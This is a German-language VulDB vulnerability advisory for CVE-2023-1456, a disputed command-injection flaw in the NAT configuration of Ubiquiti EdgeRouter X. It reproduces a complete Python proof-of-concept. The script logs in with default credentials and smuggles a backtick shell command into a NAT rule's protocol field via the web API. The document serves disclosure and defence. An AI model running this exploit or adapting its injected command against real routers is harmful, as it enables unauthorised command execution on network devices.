Ubiquiti EdgeRouter X 2.0.9-hotfix.6 NAT Configuration erweiterte Rechte ⚔ [Infragegestellt]

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
7.8$0-$5k0.00

Zusammenfassunginfo

Eine kritische Schwachstelle wurde in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 entdeckt. Es geht dabei um eine nicht klar definierte Funktion der Komponente NAT Configuration Handler. Mit der Manipulation mit unbekannten Daten kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. Die Identifikation der Schwachstelle findet als CVE-2023-1456 statt. Der Angriff kann über das Netzwerk passieren. Darüber hinaus steht ein Exploit zur Verfügung. Bisher konnte die Existenz der vermeintlichen Schwachstelle noch nicht eindeutig nachgewiesen werden.

Detailsinfo

Eine Schwachstelle wurde in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System) entdeckt. Sie wurde als kritisch eingestuft. Es geht hierbei um eine unbekannte Funktionalität der Komponente NAT Configuration Handler. Dank Manipulation mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. Klassifiziert wurde die Schwachstelle durch CWE als CWE-77. Die exakten Auswirkungen einer erfolgreichen Attacke sind bis dato nicht bekannt.

Die Schwachstelle wurde am 17.03.2023 herausgegeben. Die Verwundbarkeit wird mit der eindeutigen Identifikation CVE-2023-1456 gehandelt. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt. Als Angriffstechnik weist das MITRE ATT&CK Projekt die ID T1202 aus.

Der Exploit wird unter vuldb.com bereitgestellt. Er wird als proof-of-concept gehandelt. Bisher konnte die Existenz der vermeintlichen Schwachstelle noch nicht eindeutig nachgewiesen werden. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
#inject_cmd = 'touch /etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {'SET': {'service': {'nat': {'rule': {'5000': 
  {'type': 'source', 'description': 'dummy', 'log': 'enable', 
  'protocol': 'tcp`{}`'.format(inject_cmd), 
  'source': '', 
  'destination': {'address': '10.10.23.12', 'port': '998'}, 'outbound-interface': 'eth4'}}}}}, 
  'GET': {'service': {'nat': {'rule': {'5000': ''}}}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

Unter anderem wird der Fehler auch in der Verwundbarkeitsdatenbank von EUVD (EUVD-2023-23705) dokumentiert. If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Produktinfo

Typ

Hersteller

Name

Version

Lizenz

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 8.1
VulDB Meta Temp Score: 7.8

VulDB Base Score: 7.2
VulDB Temp Score: 6.5
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 9.8
NVD Vector: 🔍

CNA Base Score: 7.2
CNA Vector (VulDB): 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 🔍

Exploitinginfo

Klasse: Erweiterte Rechte
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: keine Massnahme bekannt
Status: 🔍

0-Day Time: 🔍

Timelineinfo

17.03.2023 🔍
17.03.2023 +0 Tage 🔍
17.03.2023 +0 Tage 🔍
11.08.2025 +878 Tage 🔍

Quelleninfo

Status: Nicht definiert
Infragegestellt: 🔍

CVE: CVE-2023-1456 (🔍)
GCVE (CVE): GCVE-0-2023-1456
GCVE (VulDB): GCVE-100-223301
EUVD: 🔍
scip Labs: https://www.scip.ch/?labs.20161013

Eintraginfo

Erstellt: 17.03.2023 08:38
Aktualisierung: 11.08.2025 07:30
Anpassungen: 17.03.2023 08:38 (39), 17.03.2023 08:39 (3), 11.04.2023 11:40 (2), 11.04.2023 11:47 (28), 11.08.2025 07:30 (16)
Komplett: 🔍
Einsender: leetmoon
Cache ID: 216::103

Submitinfo

Akzeptiert

  • Submit #99970: Command injection at the web management interface of EdgeRouter-x (von leetmoon)

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

Do you know our Splunk app?

Download it now for free!